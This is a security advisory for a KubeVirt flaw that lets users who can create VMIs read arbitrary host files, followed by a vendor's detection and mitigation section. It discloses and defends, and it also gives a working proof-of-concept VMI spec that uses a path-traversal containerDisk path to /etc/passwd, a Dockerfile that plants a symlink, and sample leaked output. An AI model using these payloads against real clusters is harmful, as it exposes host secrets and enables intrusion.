GHSA-qv98-3369-g364
KubeVirt vulnerable to arbitrary file read on host
Blast Radius
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Description
Impact
Users with the permission to create VMIs can construct VMI specs which allow them to read arbitrary files on the host. There are three main attack vectors:
- Some path fields on the VMI spec were not properly validated and allowed passing in relative paths which would have been mounted into the virt-launcher pod. The fields are:
spec.domain.firmware.kernelBoot.container.kernelPath,spec.domain.firmware.kernelBoot.container.initrdPathas well asspec.volumes[*].containerDisk.path.
Example:
apiVersion: [kubevirt.io/v1](http://kubevirt.io/v1)
kind: VirtualMachineInstance
metadata:
name: vmi-fedora
spec:
domain:
devices:
disks:
- disk:
bus: virtio
name: containerdisk
- disk:
bus: virtio
name: cloudinitdisk
- disk:
bus: virtio
name: containerdisk1
rng: {}
resources:
requests:
memory: 1024M
terminationGracePeriodSeconds: 0
volumes:
- containerDisk:
image: [quay.io/kubevirt/cirros-container-disk-demo:v0.52.0](http://quay.io/kubevirt/cirros-container-disk-demo:v0.52.0)
name: containerdisk
- containerDisk:
image: [quay.io/kubevirt/cirros-container-disk-demo:v0.52.0](http://quay.io/kubevirt/cirros-container-disk-demo:v0.52.0)
path: test3/../../../../../../../../etc/passwd
name: containerdisk1
- cloudInitNoCloud:
userData: |
#!/bin/sh
echo 'just something to make cirros happy'
name: cloudinitdisk
- Instead of passing in relative links on the API, using malicious links in the containerDisk itself can have the same effect:
FROM <anybase>
RUN mkdir -p /etc/ && touch /etc/passwd
RUN mkdir -p /disks/ && ln -s /etc/passwd /disks/disk.img
- KubeVirt allows PVC hotplugging. The hotplugged PVC is under user-control and it is possible to place absolute links there. Since containerDisk and hotplug code use the same mechanism to provide the disk to the virt-launcher pod, it can be used too to do arbitrary host file reads.
In all three cases it is then possible to at lest read any host file:
$ sudo cat /dev/vdc
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
[...]
Patches
KubeVirt 0.55.1 provides patches to fix the vulnerability.
Workarounds
- Ensure that the
HotplugVolumesfeature-gate is disabled - ContainerDisk support can't be disabled. The only known way to mitigate this issue is create with e.g. policy controller a conditiontemplate which ensures that no containerDisk gets added and that
spec.domain.firmware.kernelBootis not used on VirtualMachineInstances.| - Ensure that SELinux is enabled. It blocks most attempts to read host files but does not provide a 100% guarantee (like vm-to-vm read may still work).
References
Disclosure notice form the discovering party: https://github.com/google/security-research/security/advisories/GHSA-cvx8-ppmc-78hm
For more information
For interested vendors which have to provide a fix for their supported versions, the following PRs are providing the fix:
Credits
Oliver Brooks and James Klopchic of NCC Group Diane Dubois and Roman Mohr of Google
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | kubevirt.io/kubevirt | ≥ 0.20.0&&< 0.55.1 | 0.55.1 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for kubevirt.io/kubevirt. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update kubevirt.io/kubevirt to 0.55.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-qv98-3369-g364 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-qv98-3369-g364 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-qv98-3369-g364. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-qv98-3369-g364 in your dependencies?
O3 detects GHSA-qv98-3369-g364 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.